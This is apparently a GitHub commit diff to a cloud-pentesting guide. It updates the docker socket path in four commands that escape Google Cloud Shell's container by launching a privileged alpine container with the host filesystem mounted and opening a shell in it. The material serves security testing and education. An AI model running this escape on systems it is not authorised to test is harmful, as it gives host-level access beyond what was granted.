Skip to content

Commit dc67010

Browse files
committed
f
1 parent 06433f9 commit dc67010

File tree

1 file changed

+6
-4
lines changed

1 file changed

+6
-4
lines changed

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -19,12 +19,14 @@ Note that the Google Cloud Shell runs inside a container, you can **easily escap
1919
<summary>Container escape commands</summary>
2020

2121
```bash
22-
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
23-
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
24-
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
25-
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
22+
sudo docker -H unix:///run/docker.sock pull alpine:latest
23+
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
24+
sudo docker -H unix:///run/docker.sock start escaper
25+
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
2626
```
2727

28+
Note that previously the `docker.sock` file was located in `/google/host/var/run/docker.sock` but now it has been moved to `/run/docker.sock`.
29+
2830
</details>
2931

3032
This is not considered a vulnerability by google, but it gives you a wider vision of what is happening in that env.

0 commit comments

Comments
 (0)